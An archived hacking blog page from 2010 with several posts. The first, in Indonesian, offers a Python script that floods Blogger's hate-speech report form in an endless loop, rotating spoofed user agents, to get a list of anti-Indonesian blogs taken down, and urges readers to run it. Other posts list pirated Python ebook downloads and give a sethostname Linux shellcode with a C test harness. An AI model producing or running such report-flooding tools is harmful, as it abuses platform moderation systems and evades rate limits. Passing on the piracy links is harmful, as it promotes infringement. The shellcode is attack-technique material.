break a time, with break the c0de…

Archive for August, 2010

domainreporter.py | malaysia hate speech domain report


well, sebelumnya mohon maaf blog ini belum terdapat update dalam beberapa minggu
dikarenakan penulis sedang sibuk dengan research yg harus dikerjakan .
ok, awalnya saya tadi liat blog http://indonbodoh.blogspot.com
tentu saya sebagai orang indonesia sangat geram dengan perlakuan ini,
daripada saya ikut berkomentar tidak jelas di blog itu, tentunya saya lebih baik memikirkan bagaimana blog tersebut hilang selamanya
dan ternyata teman saya juga melaporkan list blog yang telah melecehkan indonesia
yep semakin senang saya, karena mudah2an bisa jadi sasaran empuk program ini…
dan listnya sebagai berikut…

http://indonbodoh.blogspot.com/
http://indoncelaka.blogspot.com/
http://ihateindon.blogspot.com/
http://dontvisitindon2008.blogspot.com/
http://kamiantiindon.blogspot.com/
http://arezeo.blogspot.com/
http://sayabenciindon.blogspot.com/
http://www.penipuan-jawa.blogspot.com/

dan saya pun memilih untuk membuat program untuk report ke google
karena site tersebut sangat mengandung hate speech
saya berharap akan lenyap karena telah di report ke database dalam jumlah banyak
tentunya lebih membantu jika teman2 ikut menjalankan program ini
berikut adalah sourcecodenya :

#!/usr/bin/python
# programmer : gunslinger_ <yudha.gunslinger@gmail.com>
# please use this tools to vanish that domain, i hope google responds this !
# this program is defeated form encryption multipart/form-data
# so you need to install http://pypi.python.org/pypi/MultipartPostHandler/0.1.0 python module
# tips :
# - extract the folder
# - python setup.py build
# - sudo python setup.py install
# then program ready to rock !
import urllib2, random, sys
try:
	import MultipartPostHandler
except ImportError:
	print "[*] Please install MultipartPostHandler first"
	
def main():
	try:
		domain		= ['http://indonbodoh.blogspot.com/',
				'http://indoncelaka.blogspot.com/',
				'http://ihateindon.blogspot.com/',
				'http://dontvisitindon2008.blogspot.com/',
				'http://kamiantiindon.blogspot.com/',
				'http://arezeo.blogspot.com/',
				'http://sayabenciindon.blogspot.com/',
				'http://www.penipuan-jawa.blogspot.com/'
				]
		ouruseragent 	= ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
				'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1',
				'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
				'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
				'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
		        	'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
		        	'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
		        	'Microsoft Internet Explorer/4.0b1 (Windows 95)',
		        	'Opera/8.00 (Windows NT 5.1; U; en)',
				'amaya/9.51 libwww/5.4.0',
				'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
				'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
				'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
				'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
				'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
				'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]']
		success = 'Thanks for reporting this possible Terms of Service violation. We will examine it soon and take action as necessary.'
		opener 	= urllib2.build_opener(MultipartPostHandler.MultipartPostHandler)
		counter = 1
		while 1:	
			opener.addheaders = [('User-agent', random.choice(ouruseragent))]
			params = { 'extra.blog_URL' : random.choice(domain)
				}
			openserver = opener.open('http://www.google.com/support/blogger/bin/request.py?hl=en&ctx=submitted&confirm=hate_speech', params)
			result = openserver.read()
			if success in result:
				sys.stdout.write("%s[*] %s way success reporting domain %s to google ! %s" % ("\r", int(counter), params['extra.blog_URL'], " "*80))
				sys.stdout.flush()
			else:
				print "[*] Failed ! please try again !"
				sys.exit(1)
			counter = int(counter) + 1
	except KeyboardInterrupt:
		print "\n[*] Exiting program\n"
		sys.exit(1)
	except urllib2.HTTPError:
		print "\n[*] Connections problem, please try again !\n"
		sys.stdout(1)

if __name__ == '__main__':
	print "domainreporter.py"
	print "gunslinger_ <yudha.gunslinger@gmail.com>"
	main()

action :

ps : sekali lagi mohon maaf penulis belum bisa menulis beberapa artikel di blog ini, dikarenakan sedang disibukan oleh sesuatu…


images from codecomics.com for programmer


Well , this is my fav jokes in the weeks from codecomics.com…
nice for refreshing too .. lol ..
check this out !

Characters
~~~~~~~~

Our characters are mice and rats that represent the profesionals of the software industry.
We use this archetype because most of these people develop dirty,
badly documented code without quality criteria.
We are tired of this behavior and we want to contribute with healthy ideas
in order to bring better results for everyone.

Max (Programmer & Architect)

Max is a programmer that uses technology for its own sake.
His ideas are not the most intelligent in the universe,
but he knows how to entertain his collegues with his geek style.
His body cannot live without coffee and his brilliant mind is dependent on that substance.

Besides programming, Max is a great architect (well, at least he thinks this way)
and he knows how to create multi-layered complex architectures (mainly when this is not necessary).
Max’s dream is to own an Open Source project just to become famous.
He is not concerned about the utility of the project for the community.

Mix (Programmer & Database Administrator)

Mix is a cool programmer that likes data storage mechanisms.
He doesn’t really know the difference between relational and object-oriented databases,
but this should not be a problem since the persistency layer will abstract these and other details
(let’s forgive him for now).

Mix does not care if his job is boring and his productivity is low.
He just blames the company and the former programmers for the problems of the spaghetti code.
He also ignore other oportunities that could make his life more challenging.
As long as the company pays correctly, the job is fine for him.

Jim (Manager)

Jim is the manager of the team. His thoughts on
how to control employees are not in the psychology books,
and sometimes he just pretents to be unaware of problems
just to check the sanity of the developers (or simply to drive them crazy).
Jim claims to be very smart and has created his own management rules.
By the way, pragmatism and gratitude are not in his vocabulary.
In his opinion, the developer’s productivity should not depend on the work environment.
If this is not the case, pressure can be used to push the team forward.

6 Comments

more at codecomics.com


python programming ebook


Here i have python programming books
i hope you can enjoy !

Get cash from your website. Sign up as affiliate.

Apress Beginning Python From Novice To Professional
Click Here To Download

Beginning Game Development With Python And Pygame
Click Here To Download

Beginning Python From Novice To Professional
Click Here To Download

Beginning Python Apress
Click Here To Download

Beginning Python From Novice To Professional Second Editiontqw darksiderg
Click Here To Download

Beginning Python W-r-o-x
Click Here To Download

Beginning Python
Click Here To Download

Computer Programming Python Programming Language Tutorial
Click Here To Download

Core Python Programming.
Click Here To Download

Distributing Python Modules
Click Here To Download

Foundations Of Agile Python Development
Click Here To Download

Game1 Programming With Python Lua And Rubye Book
Click Here To Download

Game Programming With Python Lua and Ruby 2
Click Here To Download

How To Think Like A Computer Scientist With Python
Click Here To Download

John Wiley And Sons Making Use of Python e-Book
Click Here To Download

Learning Python
Click Here To Download

Learning Python 3rd
Click Here To Download

Lessa Python Developers Handbook Sams
Click Here To Download

LM15 Python
Click Here To Download

Python How To Program
Click Here To Download

Python 21 Bible
Click Here To Download

Python Cookbook
Click Here To Download

Python Essential Reference 2nd Edition
Click Here To Download

Python Library Reference
Click Here To Download

Python Scripting For Computational Science
Click Here To Download

Python XML
Click Here To Download

Python For Unix And Linux System Administration
Click Here To Download

Python Developers Handbook Sams
Click Here To Download

Python 2 1 Bible
Click Here To Download

python notes
Click Here To Download

Rapid GUI Programming with Python and QtOct
Click Here To Download

Rapid Python Web Application Development
Click Here To Download

Springer Python Scripting For Computational Science 3rd Edition
Click Here To Download

Thinking in Python Bruce Eckel Rev
Click Here To Download

webpython The Definitive Guide To Plone
Click Here To Download

Get cash from your website. Sign up as affiliate.


python command line progress bar


just like another progress bar in command line but this is in python

import sys
import time
import math

# Output example: [=======   ] 75%

# width defines bar width
# percent defines current percentage
def progress(width, percent):
    marks = math.floor(width * (percent / 100.0))
    spaces = math.floor(width - marks)
    
    loader = '[' + ('=' * int(marks)) + (' ' * int(spaces)) + ']'
      
    sys.stdout.write("%s %d%%\r" % (loader, percent))
    if percent >= 100:
        sys.stdout.write("\n")
    sys.stdout.flush()
    
# Simulate doing something...
for i in xrange(100):
    progress(50, (i + 1)) # +1 because xrange is only 99
    time.sleep(0.1) # Slow it down for demo

set hostname to c0debreaker linux shellcode


This shellcode is make your hostname to c0debreaker…

/*
Title  : sethostname to "c0debreaker" linux shellcode .
Name   : 37 bytes sethostname to "c0debreaker" linux .
Date   : Fri Aug  6 21:41:20 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web    : http://devilzc0de.org
blog   : https://gunslingerc0de.wordpress.com
tested on : linux debian
*/
#include <stdio.h>

char shellcode[] =
		"\xeb\x13"                    /* jmp    0x8048075 */
		"\x31\xc0"                    /* xor    %eax,%eax */
		"\xb0\x4a"                    /* mov    $0x4a,%al */
		"\x5b"                        /* pop    %ebx */
		"\x31\xc9"                    /* xor    %ecx,%ecx */
		"\xb1\x0b"                    /* mov    $0xb,%cl */
		"\xcd\x80"                    /* int    $0x80 */
		"\x31\xc0"                    /* xor    %eax,%eax */
		"\xb0\x01"                    /* mov    $0x1,%al */
		"\x31\xdb"                    /* xor    %ebx,%ebx */
		"\xcd\x80"                    /* int    $0x80 */
		"\xe8\xe8\xff\xff\xff"        /* call   0x8048062 */
		"\x63\x30"                    /* arpl   %si,(%eax) */
		"\x64\x65\x62\x72\x65"        /* bound  %esi,%fs:%gs:0x65(%edx) */
		"\x61"                        /* popa    */
		"\x6b"                        /* .byte 0x6b */
		"\x65"                        /* gs */
		"\x72";                       /* .byte 0x72 */
		

int main(void)
{
		fprintf(stdout,"[*] Shellcode length: %d\n",strlen(shellcode));
		((void (*)(void)) shellcode)();
	
		return 0;
}